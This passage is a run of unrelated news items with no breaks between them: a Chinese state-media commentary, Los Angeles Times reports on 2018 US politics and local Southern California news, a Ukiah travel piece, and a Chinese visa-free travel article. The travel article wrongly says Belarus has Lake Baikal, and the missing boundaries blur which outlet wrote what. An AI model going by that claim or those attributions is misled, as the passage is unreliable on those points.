eagerness to learn, the ancient oriental country with thousands of years of civilization is the most energetic learner. From the macro WTO rules, laws and regulations, to the micro technological innovation and enterprise management, China has opened its mind in reform and opening up, improving its ability to learn and learning all the advanced experiences from the world. As what American futurist John Naisbitt has said, China, as a learning society, is willing to implement all theories and practice that comply with its tasks, which is part of the most valuable treasures of the country. After 40 years of learning from the world, China has not only achieved great development, but also built a spirit of openness and inclusiveness. British scholar Martin Jacques partly attributes China's success to the country's ability to absorb different factors from different places, experiences and traditions and then combine them in a unique Chinese style. Humble in the relations with the world, China aims at catching up and also the contemplation over the future of the world. Today, technological development is making the world smaller, which results in increasingly frequent contacts among different civilizations. Faced with differences, different countries shall learn from each other and seek common ground while put aside differences. In addition, they should be less arrogant and prejudiced, and show more respect and inclusiveness. They should neither depreciate themselves nor boast off themselves. Only by this way can they be harmonious co-existence , creat win-win results, and paint more splendid chapters for the development of human civilization. China has dragged over 700 million people out of poverty and improved livelihood for nearly 1.4 billion people. That is the most frequently mentioned story by foreigners in the discussion of China's social changes. Naisbitt once pointed out in a research of the general development trend of China that the guideline of the CPC is to unswervingly benefit the Chinese people. The long-term implementation of the guideline will not end with the end of presidential terms just as the cases in the western countries. The futurist explained that people is the most vital factor in the great cause of reform and opening up. Releasing the people's energy, enhancing their self-esteem, encouraging them to release their creativity, and stimulating their sense of participation are important pillars that support China's economic and social development. Looking into the future, reform and opening up will never stop its steps. It will go further at a higher starting point and a higher level toward higher goals. (Guo Jiping is a commentary column of People's Daily that explains China's stands and views on major international issues.) California Rep. Jeff Denham, a Republican who lost his bid for reelection, has spoken with White House officials about being nominated as Interior secretary, he confirmed Thursday. Weve had a number of really good conversations. Its been very positive, Denham said in an interview. The current secretary, Ryan Zinke, is facing numerous ethics investigations and announced Saturday that he would resign at the end of the year. Denham said he has told President Trump and administration officials for over a year of his concerns about the departments record in some areas where it has jurisdiction, including water policy, and of his interest in taking over. Advertisement Denham, who is from Turlock and as a congressman has been a proponent of the Central Valleys agriculture interests and water policy, said hes been interested in the job for some time. Its all the things that I have worked on for the last 16 years water, our forests, a lot of our [agricultural] economy in California and federal properties, Denham said. Its a good fit for me. Im on the presidents list. Denham lost his bid for a fifth House term in November to Democrat Josh Harder, receiving 47.7% of the vote to Harders 52.3%. He was among seven California Republicans swept out of Congress this year, a result that all but decimated their partys already small numbers in the states congressional delegation. Denham has indirect ties to Trump that predate the presidents run for the White House. As chairman of the House Subcommittee on Economic Development, Public Buildings and Emergency Management, Denham encouraged the federal government to lease the Old Post Office in Washington, which cost taxpayers millions of dollars to keep up. The lease went to the Trump Organization, which created what is now the Trump International Hotel, just blocks from the White House. A White House spokesman would not comment on the Interior secretary position. Several other Republicans are thought to be in the mix, including Californian David Bernhardt, a former oil and gas lobbyist who has been Zinkes second-in-command. The latest from Washington More stories from Sarah D. Wire sarah.wire@latimes.com Follow @sarahdwire on Twitter The Trump administration unveiled a plan Thursday to force hundreds of thousands more Americans to hold jobs if they want to keep receiving food stamps, pursuing through executive powers what it could not achieve in Congress. The countrys food assistance program, which is run by the U.S. Department of Agriculture, already requires most adults without dependents to work if they collect food stamps for more than three months in a three-year period. But USDA regulations allow states to waive the requirement in areas with unemployment rates that were at least 20% greater than the national rate. The USDA is now proposing that states could waive the requirement only in areas where unemployment is above 7%. The current national unemployment rate stands at 3.7%. Approximately 2.8 million able-bodied recipients without children or an ailing person in their care were not working in 2016, according to the USDAs latest numbers. Roughly 755,000 live in areas that stand to lose the waivers. Advertisement This is unacceptable to most Americans and belies common sense, particularly when employment opportunities are as plentiful as they currently are, Agriculture Secretary Sonny Perdue said on a call to news media, adding the measure could save taxpayers $15 billion over 10 years. This restores the dignity of work to a sizable segment of our population, he said. The announcement comes hours before President Trump is expected to sign an approximately $870-billion farm bill with funding for the nations agricultural programs and for food stamps. That legislation does not impose any tougher work requirements, even though the House version of the bill had restricted the waiver program and also imposed new requirements on parents with children ages 6 to 12, among other changes. The Senate version did not include those provisions. The proposed changes will be published in the Federal Register, Perdue said, and the public will have 60 days to comment. Congressional Democrats quickly slammed the plan and questioned whether the administration had a legal basis to authorize it. Congress writes laws, and the administration is required to write rules based on the law, said Sen. Debbie Stabenow (D-Mich.), the top-ranking Democrat on the Senate Agriculture Committee. Administrative changes should not be driven by ideology. I do not support unilateral and unjustified changes that would take food away from families. Under current rules, able-bodied adults without dependents or ABAWDs, as the USDA calls them are eligible for food stamps from the Supplemental Nutrition Assistance Program for only three months in a three-year period if they do not work or participate in a job-training program for at least 20 hours each week. States, however, can seek waivers that extend support for such individuals up to two years if they live in areas with a surplus of workers. The proposed changes would also force states to reapply for waivers every year, rather than every two years. The change would not apply to elderly people or pregnant women. Tougher eligibility requirements could overwhelm state efforts to help people find work, said Babs Roberts, director of the Washington State Department of Social Health Services. Even with as robust a program as we have including a partnership with every community college in the state, she said, it would be really hard for Washington to expand its job training efforts without significantly more funding. But conservative groups had been frustrated that several of their proposals for stricter work requirements were rejected in the farm bill now headed to Trumps desk. I applaud the proposed rule and proudly stand with the Trump administration in demonstrating the importance of state accountability and recipient success, Rep. Michael K. Conaway (R-Texas), chairman of the House Agriculture Committee, said in a statement. Sen. Pat Roberts (R-Kan.), chairman of the Agriculture Committee, said his office was still evaluating the plan but that giving the Trump administration flexibility on waivers may have proven crucial to securing support for the farm bill. Im not sure we would have been able to get a farm bill had we not allowed the administration to handle it in the way they feel is the best way to handle it, Roberts said, adding that he expects a public comment period on the plan. Since the 1996 welfare law took effect, every state but Delaware has sought a time-limit waiver at some point, according to the Center on Budget and Policy Priorities, which tracks such exemptions. The number of Americans receiving food stamp benefits has already declined dramatically, falling from about 48 million in 2013 to about 40 million in 2018 as the broader economy rebounded and unemployment fell, according to federal statistics. In 2016, President Trump vowed Mexico would pay for the wall. Since then, hes pivoted to the U.S. government funding it, which has thus far been a nonstarter. In the face of political inaction, one man has decided to tap a somewhat more enthused funding source: Trump supporters. If the 63 million people who voted for Trump each pledge $80, we can build the wall, Brian Kolfage wrote on the GoFundMe page. As of 11:50 a.m. Thursday, just over 1 million people raised more than $6.1 million, up more than $2 million from just a few hours earlier. On Wednesday, Congress sent the president a bill that would avert a government shutdown but had no money for his signature campaign promise. Senate Republicans said they were confident Trump would sign it. On Thursday morning, he said he wouldnt. Advertisement In a matter of a couple of hours, at least 24,000 Americans donated $1.4 million to a crowdfunding campaign to pay for the border wall just in case youre wondering why Trump is doubling down on a government shutdown pic.twitter.com/KDpCgO0q1s Fidel Martinez (@fidmart85) December 20, 2018 Democrats are going to stall this project by every means possible and play political games to ensure President Trump doesnt get his [victory], Kolfage wrote. (Both the Senate and House are controlled by Republicans, though that changes in January.) Its up to Americans to help out and pitch in to get this project rolling. The GoFundMe campaigns goal is $1 billion, which is the maximum amount that can be set on the crowdsourcing site. If 63 million people were to donate $80 each, as Kolfage suggests, it would raise $5.4 billion, which is the amount Trump wanted in the shutdown-stopping spending bill. As Kolfage points out in the GoFundMe description, its not entirely unprecedented for private citizens to fund government projects: He cites a billionaire who donated $7.5 million in 2012 to help repair the Washington Monument. Even if the GoFundMe campaign manages to raise the full amount, there would still be a ways to go to fund the entire border wall. Estimates for the total cost to build it run from $21.6 billion to $70 billion, depending on who you ask, and then millions more every year in maintenance. That means every MAGA hat owner would have to cough up between $342 and $1,111 to get it done, plus, presumably, some sort of annual subscription. However, a competing GoFundMe campaign might complicate things. Ladders to Get Over Trumps Wall is already at $19,570. @jessica_roy jessica.roy@latimes.com Acting Atty. Gen. Matthew Whitaker will not recuse himself from overseeing special counsel Robert S. Mueller IIIs investigation into Russian interference in the 2016 election despite advice from a senior ethics attorney that he should do so, Justice Department officials said Thursday. Whitaker sought guidance from advisors and ethics officials shortly after being tapped to take over as the nations top law enforcement officer. He did so because of critical comments he had made about the Mueller inquiry in interviews and writing done before he joined the government last fall as then-Atty. Gen. Jeff Sessions chief of staff. Whitaker did not receive any briefings on Muellers probe while the ethics review was taking place, the Justice Department officials said. They declined to say when he may be briefed. The officials spoke to reporters under ground rules that do not allow them to be identified. Whitakers decision came as lawmakers received a memo written in June by the man President Trump has nominated to be the next attorney general, William Barr. His memo sharply criticized one aspect of the special counsel probe. Advertisement The decision by Whitaker to not recuse himself was a close call, the senior ethics lawyer a career Justice Department employee told Whitakers aides on Tuesday. But the lawyer believed Whitaker should step aside in an abundance of caution, a senior Justice Department official said. Whitakers advisors, however, recommended to the acting attorney general Wednesday that he not recuse himself because the decision was a close one. They said incorrectly that if he did recuse himself, he would put himself in the position of being the first attorney general to step aside from a case over the appearance of a conflict. Whitaker took his teams recommendation, the official said, and is sending a letter to congressional lawmakers to address the matter. Former officials in the Obama administration disputed the contention that no attorney general had recused himself over an appearance of a conflict of interest. They noted that in 2009, Atty. Gen. Eric Holder stepped aside from overseeing any investigations into John Edwards, a former Democratic presidential candidate. Holder recused himself because he had overseen the vice presidential vetting process for the Obama campaign, said Matthew Miller, Holders former communications director. The concern was the appearance problem it would cause, Miller said. Whitakers former boss, Sessions, recused himself from overseeing the Justice Departments investigation into Russian interference and the Kremlins potential ties to the Trump campaign because he had been a member of the campaign. That case presented a more clear-cut basis for recusal, Justice Department officials said, though it angered Trump and severely strained the pairs relationship. In 2003, Atty. Gen. John D. Ashcroft recused himself from involvement in the investigation over the leak of the name of an undercover CIA agent, Valerie Plame. At the time, the Justice Department said he had recused himself solely to avoid an appearance of a conflict, not because of any actual conflict. The probe by Mueller into Russias meddling in the presidential campaign is being overseen by Deputy Atty. Gen. Rod Rosenstein. The Justice Department officials said Rosenstein would continue to supervise the investigation on a day-to-day basis as he would any other high-profile investigation. Whitakers decision is sure to be met with criticism from Democrats, who have expressed concerns over his critical comments about the Mueller inquiry and whether he can fairly supervise it. In a statement, Rep. Jerrold Nadler (D-N.Y.), who will take the helm of the House Judiciary Committee next month, said he was concerned that career Justice Department officials were worried over Whitakers ability and fitness to oversee the special counsels investigation. He said he would ask Whitaker about the recusal process at an upcoming hearing. In 2017, Whitaker mused on radio and TV that cutting Muellers budget or his authority could effectively choke or limit the probe. He called Muellers appointment fishy and ridiculous. And he argued in a CNN op-ed article that allowing Mueller to examine the finances of President Trumps family raised serious concerns that the special counsels investigation was a mere witch hunt. Whitaker was tapped to be acting attorney general on Nov. 7, shortly after Trump asked Sessions to resign. Whitaker then appointed a U.S. attorney to oversee a group of advisors running a war room of sorts to counsel him in his new role and to provide guidance on ethics matters, Justice Department officials said. Whitaker did not face any conflicts of interest that would have required a mandatory recusal such as having a financial stake in a company under investigation or having once defended a suspect in the case. But because there was the potential for an appearance of a conflict, under Justice Department rules, he had to ask for ethics advice and then recuse himself if he believed that was required. His team of advisors has met with ethics officials several times since Whitaker was tapped by Trump to run the department. In Tuesdays meeting, the senior ethics official told the group that if asked by Whitaker, he would recommend that the acting attorney general recuse himself, the senior Justice Department official said. The ethics official said the department could find no other instance of an attorney general recusing himself due to an appearance of a conflict of interest, the senior official said. The announcement of Whitakers decision not to recuse himself, coupled with Barrs memo criticizing Muellers probe, added to the fraught atmosphere surrounding the Justice Department. Barr, a former attorney general in the George H.W. Bush administration, sent the unsolicited memo to Rosenstein in June 2018. The 19-page memo says that Trump should not be forced to submit to an interview about Russias interference in the election. Barrs memo focused intensely on Muellers reported investigation into whether Trump obstructed justice when he fired FBI Director James B. Comey Jr. Barr said that such an investigation would be fatally misconceived and could do lasting damage to the presidency. An investigation into potential obstruction by a president would be appropriate if it focused on intentional acts that could sabotage a law enforcement officials efforts to gather facts, such as destroying evidence or inducing a witness to lie to investigators, he said. But firing Comey could not be considered obstruction because the president had constitutional discretion to remove such an official, Barr wrote. If a DOJ investigation is going to take down a democratically-elected president, it is imperative to the health of our system and to our national cohesion that any claim of wrongdoing is solidly based on evidence of a real crime not a debatable one, Barr wrote. Barr did not entirely shut the door to the president being charged with obstructing justice if the president and his campaign were actually guilty of illegal collusion. If Mueller had proof of such a crime, Trump could be accused of acting out of a corrupt motive when he fired Comey, Barr wrote. But Mueller should not be permitted to interrogate the president about obstruction until he has enough evidence to establish collusion, he concluded. The Trump administration sent the letter to Congress on Wednesday. Los Angeles Times staff writer David Savage contributed to this report. del.wilber@latimes.com Twitter: @delwilber In a modern democracy, peddling conspiracies for political advantage is perhaps not so different from seeding an epidemic. If a virus is to gain a foothold with the electorate, it will need a population of likely believers (susceptibles in public-health speak), a germ nimble enough to infect new hosts easily (an irresistible tall tale), and an eager Amen choir (also known as super-spreaders). For the record: An earlier version of this report said Sen. Doug Jones represents Georgia. He is from Alabama. Unleashed on the body politic, a falsehood may spread across the social networks that supply us with information. Facebook is a doorknob slathered in germs, Twitter a sneezing coworker, and Instagram a child returning home after a day at school, ensuring the exposure of all. But if lies, conspiracies and fake news are really like germs, you might think that fact-checking is the cure, and truth an effective antidote. Advertisement If only it were that easy. New research offers fresh insights into the stubborn role of ideology in maintaining support for those who peddle falsehoods, and the limited power of fact-checking to change voters minds. Even in the face of immediate and authoritative corrections, we humans dont budge easily, or for long, from established opinions about politics, politicians and the coverage they receive. And some of us in particular, those who endorse conservative positions are quicker to believe assertions that warn of grim consequences or of sinister forces at work. The findings of three new studies suggest that fact-checkers had better be persistent, and that their expectations of changing peoples minds had better be modest. But the research also suggests that if fact-checkers want the truth to matter, they should not be shy about touting the value of their services. Arguably, the need for fact-checking has never been greater. The Washington Posts Fact Checker, which maintains a running tally of President Trumps false statements, has counted 6,420 false or misleading statements made by the president through Oct. 30, including more than 4,400 this year. A Fact Checker poll released this week has found that more than 6 in 10 Americans believe fact-checkers when they conclude that Trump has made a false claim meaning that more than one-third of them do not. Is credulity, and a vague mistrust of fact-checkers, unique to Americans, or is it a broader attribute of humans? It may be a bit of both. In a study published Tuesday and conducted with a sample of 370 Australians, researchers found that the veracity of a political candidates claims does matter to voters sometimes. When Australian subjects were shown an array of politicians false statements corrected by fact-checking, they reduced their belief of those assertions. When they were shown fact-checked true statements, whether attributed to a politician on the right or one on the left, their belief in the assertions increased as well. This fact-checking changed subjects views about which politicians they supported, but only slightly only when false statements outnumbered true statements by a ratio of 4-to-1. When false statements and true statements were attributed to a candidate in equal numbers four falsehoods in balance with four true statements Australian subjects didnt change their opinions at all. Study coauthor Adam J. Berinsky, a political scientist at MIT, said he considered those results a bit less depressing than what he found when he tried the same experiment on American subjects. When the authors presented fact-checked assertions from Donald Trump and former Democratic presidential candidate Bernie Sanders to Americans, the magnitude of the overall effect was minute, even when false statements outweighed true ones by the same 4-1 ratio. Those results, which are not yet published, suggest that, although both Americans and Australians are capable of distinguishing fact from fiction (with help from fact-checkers), they are loath to alter their overall view of their favored candidate accordingly. They seem to be saying, He may be a liar, but hes my liar, Berinsky said. Also slightly depressing, he added, was the short shelf life of a fact check: A week after subjects in both countries saw politicians assertions corrected for truthfulness, they had forgotten virtually all of what they had learned. But Berinsky said he took heart in Australians willingness to adjust their assessments of lying politicians even a little bit. I mainly study U.S. politics and am used to a world in which fact-checking doesnt work very well, where people are really stuck in their lane and politicians are seemingly immune to any kind of facts, he said. Its good to know there are countries in which this still can work. The findings echoed those of a report published last week in PLOS One, which demonstrated that the inclusion of fact-checking in an experimental news feed made subjects hungrier and more confident news consumers. It also made them more inclined to trust mainstream media outlets. But there was a hitch: In addition to being very small, subjects shifts in attitude became evident only when their news feeds included an occasional defense of journalism article. Usually, these were opinion pieces that countered attacks on the profession. Without defense of journalism, fact checking had no effect on any of these outcomes, Raymond J. Pingree, a professor of mass communications at Louisiana State University, and his coauthors concluded. Self-identified Republicans in the study started out lower than Democrats in their trust of mainstream media, their confidence in their own ability to decide what is true in politics, and their intention to use a mainstream news portal in the future. But after a week of plying them with specialized news feeds, Pingrees team found that people across the political spectrum responded well to the combination of fact checking and defense-of-journalism pieces. If youre starting to see a light at the end of the partisan tunnel, however, consider a third study published this week. It tested the idea that people are more inclined to believe unproven conspiracy theories when their party is out of power, a notion sometimes called the conspiracy belief is for losers hypothesis. The study was led by UCLA anthropologist Daniel Fessler, who found that people whose political stances aligned them with American conservatism were far more likely than liberals to embrace falsehoods that warned of grim consequences. Americans who hew to more progressive political stances were certainly credulous as well, the UCLA team found. But they were no more likely to believe a scary falsehood say, that a drunken airline passenger could pry open a planes door in midair than they were to buy into the far less terrifying myth that you can burn more calories by exercising on an empty stomach. But were these inclinations real and enduring, or could they be explained by the fact that, when the experiment was run in October 2015 and September 2016, conservatives had been out of the White House for several years? Fessler and Theodore Samore, a graduate student in UCLAs anthropology department, repeated the experiment in 2016, after Donald Trump had won the presidential election, and in 2017, after Alabama Democrat Doug Jones beat Republican Roy Moore in a special election for a Senate seat. After Trumps triumph, the researchers reasoned, conservatives should feel empowered and confident. After Jones victory, they presumed, liberals would likely feel hopeful once more. But their original findings did not change: As they moved further right on the ideological spectrum, people were consistently more likely to believe frightening false claims, and found them more credible than emotionally neutral falsehoods. The results were published last week in PLOS One. It seems theres just a fundamental difference in how credulous people are about hazards as a function of their orientation, Fessler said. How positively people feel about their partys future doesnt matter. That dynamic has worrisome implications: When believers of ominous warnings succeed at the polls, they have the megaphone that power brings, Fessler said. And they use that whether cynically or genuinely I cant tell to issue additional proclamations of danger. This, he said, has been Trumps stock in trade foreign powers are taking advantage of the United States, dangerous hordes are storming the borders, and we need to build a wall to keep would-be invaders at bay. That cycle is very difficult to break, Fessler said. Whats more, warning people who are inclined to believe that kind of narrative that theyre being lied to seems more likely to reinforce the conspiracy theory than to induce a change of heart. I do worry, he said. melissa.healy@latimes.com @LATMelissaHealy MORE IN SCIENCE A fire engulfed the second story of a Lido Isle home Wednesday evening during the Newport Beach Christmas Boat Parade, authorities said. No one was injured, according to the Newport Beach Fire Department. The blaze became visible to parade spectators just before 7 p.m., according to an email from Newport Beach resident Peggy Palmer, who filmed the fire on her cell phone. The fire began after the opening night fireworks display, Palmer said, but it wasnt clear what started it, according to the fire department. The cause of the fire is still under investigation. The Newport Beach Fire Department responded with assistance from Costa Mesa and Huntington Beach fire departments to the two-alarm fire. Firefighters found no one in the home and immediately went to work extinguishing the fire, which was confined to the second floor, Newport Beach Fire Department said. Authorities did not identify the exact location of the home Thursday morning but the Orange County Register reported that it was in the 100 block of Via Dijon. Streets lined with surf shops, gift stores and clothing boutiques have earned Laguna Beach the No.1 spot on Yelps list of top cities to shop local in 2018. To design the list, Yelp first determined the type of businesses that are most popular during holiday season. Then, using only reviews with the words gift, present, holiday, Christmas, Hanukkah and Kwanzaa, Yelp chose one city from each state that has highest ratings in each category. Out of those 50 cities, Laguna Beach ranks first. Shopping locally applies to residents in Laguna as well as residents from neighboring cities who visit for specific items, said Vanessa Blaauw, manager at Toes on the Nose sportswear shop on Ocean Avenue. She said she often helps people from neighboring cities find items in Laguna. Youre not going to always find the same thing in every store, which is nice, said Blaauw, who has worked in the store for six years. We have people that come in every time theyre in town, and this is their one stop when they try to make it. A customer from Thailand came in Monday because her husband requested that she buy the family Christmas presents from Toes on the Nose. Everybody pretty much becomes your family when you work here, Blaauw said. The Yelp list is based on analytics and online survey results of about 2,000 people provided by Harris Insights, a market research company. Carol Murphy, operations manager at Thalia Surf Shop, said shop local means purchasing products that Laguna artists and designers crafted. She pointed to a row of surfboards shaped by several local surfers and a stack of shirts that say, keep Laguna weird. Its the collaborations in here that really keep it community-driven, she said. Abbey Huffer, a keyholder at Thalia Surf Shop, said Lagunas network of store owners and employees helps local designers and craftspeople get started in their industries. Growing up we always had the mentality of support small businesses and support the stores, the Laguna Beach High School graduate said. We have some really great, original stores. At Landmark Surf Co., where a large canvas picture of a Laguna Beach lifeguard tower hangs over the counter, manager Julian Deline said tourist attractions, such as the La Casa Del Camino hotel across the street, bring in people from around the world who want to poke around Lagunas many surf, gift and womens clothing stores. Its small, so its easy to get around, and weve got a lot of different shops, he said. The other top five cities on Yelps list are Asheville, N.C., Laihaina, Hawaii, Santa Fe, N.M., and Cleveland, Ohio. faith.pinho@latimes.com Twitter: @faithepinho Since the gavel struck on the evening of Aug. 31, marking the official end of the 2017-18 legislative session, there have been significant changes to our states leadership. As the result of the November election, we have a handful of new assembly members and state senators, new commissioners and directors who will take the helm of some of our most influential agencies and departments, and of course, a new executive administration in Gov.-elect Gavin Newsom. With new leadership, there always come fresh ideas, a reassessment of priorities and new goalposts set for the direction our state will take. And the work has already begun. As of earlier this month, both leadership and the people of our state have made clear what their visions for a better California will be. Id like to take a moment to fill you in on what we could expect those next big priorities to be. As members were being sworn in to the state Assembly on Dec. 3, the Assembly Budget Committee, under the leadership of Chair Phil Ting, put forward a presentation serving as a first outline for fiscal priorities. The overall theme of the committees proposal is Funding Progress while Protecting Tomorrow. Last year, we were able to successfully meet our goals of increased fiscal responsibility by filling our rainy day fund years ahead of schedule. The proposal asks that the new administration and the Legislature consider increasing our reserves to 20% of operation expenses, so we can be prepared for a mild to moderate recession in the coming years. This approach, of seeking progress while holding on to fiscal prudence, is one I will always support. Over the next few months, as crowds of people and ideas begin again to flood the halls of the capitol and we all look at our next steps, it is imperative that we do so with sustainability and long-term health in mind. The Ting proposal suggests doing that by focusing on one-time investments, keeping our promises in the form of pensions and other liabilities, and increasing governmental efficiency. Within that, is a proposal to appropriate $200 million for forest management, improve the 911 system, fund emergency response operations, and to help the recovery efforts in communities devastated by the recent fires. The proposal also takes a look at what we can put our resources toward that will give us a real return on investment. This includes programs to expand affordable housing and prevent homelessness, continuing to expand the Earned Income Tax Credit for working families, and expanding early education and after school programs. I think we are off to a very good start. But what do the people of California think? According to a recent Public Policy Institute of California poll, the top three issues going into the next era of California politics are universal healthcare, tuition-free community college and universal preschool. Im proud to have been a co-author of legislation that would pave the way for all of these priorities to take shape. Universal healthcare and expanding education quality and opportunities are policies that come with heavy price tags. But they are important policies to be considered, not only morally but economically. We have to consider how much capital is being taken out of our economy due to crushing medical expenses. Its also true that todays students are our futures labor force. With those facts in mind we must all work together to figure out a way to achieve those goals in a way that will be economically sustainable for generations. Striking a balance between addressing the needs of Californians today and Californians of the future is going to be the first major hurdle of the budget talks. As we return from the holiday break next month, I expect this conversation to heat up, and in the ensuing web of priorities I hope we can find common ground and do what is best for all Californians. What do you think the Legislatures priorities should be going into the 2019-20 session? As always, I would love to hear your thoughts, ideas and concerns. I look forward to another year serving you in Sacramento. Assemblywoman Laura Friedman (D-Glendale) represents La Canada Flintridge, La Crescenta, Montrose, Glendale, Burbank and neighboring communities in the the 43rd Assembly District. In their last meeting of the calendar year, a festively attired La Canada Flintridge City Council bid a fond farewell to City Atty. Mark Steres, who retires at the end of the year after serving 15 years in the position. The council joined City Manager Mark Alexander and state Sen. Anthony Portantino (D-La Canada Flintridge) in sharing their appreciation for Steres counsel over the years. An attorney for Los Angeles-based firm Aleshire & Wynder, Steres worked with the city in a deputy position before being named city attorney. In staff comments, Alexander said he and Steres were both appointed to their respective positions in 2003. Mark has been a colleague and a friend during that entire time, and a confidant, he said. His counsel and his advice to me have been a tremendous support and help. Its been a great ride for both of us in this partnership thank you. Steres, in turn, thanked council members and City Hall staff for the privilege of working with them and thanked wife Suzie for her love and support. Today feels like an awards show, and I won all the awards, he said. You earned all the awards, Mayor Terry Walker corrected. Sound wall locations IDd Councilman Greg Brown and Mayor Pro Tem Len Peironi, members of a council subcommittee convened to study and prioritize sound wall locations along the Foothill (210) Freeway, shared their recommendations for three walls to be paid for by the citys recent acquisition of $12 million in transportation funding. Brown said Metro had previously selected four walls without consulting the city on their locations, including one wall partially inside Pasadena city limits. After poring through data related to costs and the number of affected residents in various parts of town, the subcommittee selected three sound walls. Two border the north and south portions of the 210 Freeway that pass over Hampton Road near Flintridge Preparatory School, an area where hundreds of residents recently petitioned the city for noise abatement. Cost estimates for design and construction for the pair is roughly $8.7 million. The third is located on the south end of the freeway, from Alta Canyada Road east nearly to La Canada Boulevard, parallel to Verdugo Boulevard. That estimated cost is nearly $2.8 million. Brown said costs will likely vary, as engineering and environmental studies are considered, especially on the overpass sound walls. RV parking rules to be revised Council showed approval for an ordinance that would limit recreational vehicle parking in the citys public right of way to 14 days per year and stipulate such vehicles park only on a street directly abutting an applicants property. The discussion came after a group of Alminar Avenue residents complained a neighbor was using loopholes in the citys municipal code to park his RV permanently on their street, which they claimed presented safety hazards to drivers and pedestrians. The new ordinance would require applicants to make requests online for up to 14 days per vehicle license plate. During that time, RVs would be allowed to park in frontyard setbacks or on city streets fronting the applicants home. Applicants would have to be able to prove residency. I just want to say thank you, said resident Jon Burke of the ordinance. It fixes everything we were looking to get fixed. The item will return for a second reading at the councils Jan. 15 meeting. Also Tuesday, council members: - Introduced an ordinance amending the citys hours of solicitation, from 9 a.m. to 6 p.m. in residential areas and from 9 a.m. to 8 p.m. in nonresidential and mixed-use areas. - Heard concerns from La Canada Unified parents about the potential negative health impacts of the countys Devils Gate Dam sediment removal project, scheduled to begin in April. City Manager Mark Alexander said he plans to meet with county officials on the matter after the new year and would return with information from that meeting. - Adopted an ordinance adding a chapter to the citys municipal code relating to onsite wastewater treatment systems, adopting by reference Los Angeles County ordinance 2018-0037. Through a new replace and repeal ordinance, the council added language recognizing the countys acceptance of a 2009 agreement outlining certain exceptions to county code when applying the law in La Canada. - Requested an update on La Canadas emergency preparedness and plan for disaster response and asked to explore holding a community workshop conducted by the citys new emergency services coordinator, in which new policies and safeguards might be identified. sara.cardine@latimes.com Twitter: @SaraCardine I felt as though I were climbing into a mummys sarcophagus as I settled into the empty concrete tub, but I figured that if Mark Twain could do it, so could I: take the waters at Vichy Springs near Ukiah, Calif. I opened the spigot and relaxed, the naturally carbonated mineral water fizzing around me like warm Perrier. As I gazed at the oaks and redwoods, some of which have been around since the spa resort opened in 1854, I realized that it was so quiet I could hear bees buzzing. It amazed me that this bucolic, 700-acre retreat still exists, a no-frills refuge for people seeking respite from aches, pains and stress. Quietude is what they call it here. I quietly and happily embraced it. Tab for two: $395 per night for room, breakfast and mineral baths; $100 per day for food ; plus airfare to Santa Rosa, rental car and taxes. THE BED Guests take the waters at Vichy Springs Resort, just as they have been doing since 1854. (Paul Boorstin) Vichy Springs Resort has 17 motel-style rooms that start at $255 a night in winter months, but my husband, Paul, and I splurged on a cozy one-bedroom cottage with simple country-style furnishings and a kitchen. After soaking in the resorts warm mineral-water tubs, I found it refreshing to plunge into the cool mineral water of its Olympic-size swimming pool. At dusk, we followed a creek into the hills, surprising a family of black-tailed deer. Advertisement THE MEAL After enjoying a takeout dinner on our porch one night, the next night we drove 15 minutes into Ukiah and dined at Cultivo. This casual-chic restaurant offers a multitude of beers on tap, local Mendocino wines and menu items that include wood-fired pizzas, fresh oysters and a juicy heritage pork chop with peach chutney. THE FIND Just east of town, guests can visit the City of Ten Thousand Buddhas, the largest Buddhist monastery, university and meditation center in the U.S. (Paul Boorstin) Our server at Cultivo recommended lunch at Jyun Kang Vegetarian Restaurant, a local favorite. Paul and I expected a hole in the wall but instead found ourselves driving a few miles east of Ukiah and through a golden arched gateway that evoked ancient China. The City of Ten Thousand Buddhas, named for the Oscar-sized golden Buddhas lining the prayer hall, is the largest Buddhist monastery, university and meditation center in the U.S. We observed prayer rituals, roamed the 480-acre wooded campus, then dined on sweet-and-sour protein balls and other veggie delicacies in the buzzing restaurant. Surprising and fun, even for non-vegetarians. THE LESSON LEARNED Ukiahs Grace Hudson Museum features paintings of indigenous Pomo people by Grace Carpenter Hudson, a local artist who was nationally known in the early 20th century. It also has an impressive array of intricately woven Pomo baskets that were collected by her husband, physician and ethnologist John W. Hudson. A tour of their craftsman bungalow, where they lived and worked, gave us insight into small-town life 100 years ago in rural Mendocino County. The Grace Hudson Museum exhibits portraits of Pomo Native Americans painted by early 20th century artist Grace Carpenter Hudson. (Paul Boorstin) (Lou Spirito For The Times) Vichy Springs Resort, 2605 Vichy Springs Road, Ukiah, Calif.; (707) 462-9515 Cultivo Restaurant, 108 W. Standley St., Ukiah, Calif.; (707) 462-7007 City of Ten Thousand Buddhas, 4951 Bodhi Way, Ukiah, Calif.; (707) 462-0939. Open 8 a.m.-6 p.m. daily. Jyun Kang Vegetarian Restaurant. Cash only; closed Tuesdays. Grace Hudson Museum & Sun House, 431 S. Main St., Ukiah, Calif.; (707) 467-2836. Open Wednesdays-Sundays. China enters into visa-free travel deals with six more countries in 2018 An agreement on mutual visa exemption between China and Qatar will take effect from Friday, according to an announcement made by the foreign ministers of the two countries. This year marks the 30th anniversary of the establishment of diplomatic relations between China and Qatar. Last Saturday, a visa exemption agreement between China and Niger came into effect. A China-Botswana agreement on visa-free travel will also come into effect starting on Saturday, and it will be followed the next day with the start of the China-Rwanda visa-free travel agreement. According to the latest data released by China's Ministry of Foreign Affairs, China's ordinary passport holders can travel to more than 70 countries thanks to mutual visa exemptions, visa-free destinations, and visa-on-arrival arrangements. This includes 13 countries where no visa is required thanks to bilateral visa-free travel agreements, including the United Arab Emirates, Bosnia and Herzegovina, and Sao Tome and Principe. Middle East -- United Arab Emirates and Bahrain The newly listed United Arab Emirates, which no longer required visas for Chinese from January 16 this year, is a headline-grabbing destination that offers an intriguing blend of traditional Islamic culture and shopping heaven. The UAE will exempt Chinese nationals carrying ordinary passports from obtaining pre-entry visas, with the possibility of staying for up to 30 days on each visit. Bahrain is another Middle East country appearing on the list. It is an island country located in the Persian Gulf with mild climate and is also hailed as "Hong Kong in the Middle East." Since July 9th, Chinese citizens who hold diplomatic passport and official passport can stay in Bahrain for up to 90 days without a visa. Unfortunately, this is not extended to those holding the ordinary Chinese passport. For ordinary Chinese passport holders, they can enter Bahrain through a Visa-on-arrival policy. Europe-- Belarus, Bosnia and Herzegovina Ordinary Chinese citizens have been allowed to entry Belarus without visa since August 10th for up to 30 days, and less than 90 days each year. As a close neighbor to China, Belarus is worth seeing for its renowned Lake Baikal, which attracts many Chinese tourists. Bosnia and Herzegovina concluded the agreement on mutual visa exemption with China on May 29th, becoming the second European country to waive visas for Chinese citizens. Bosnia and 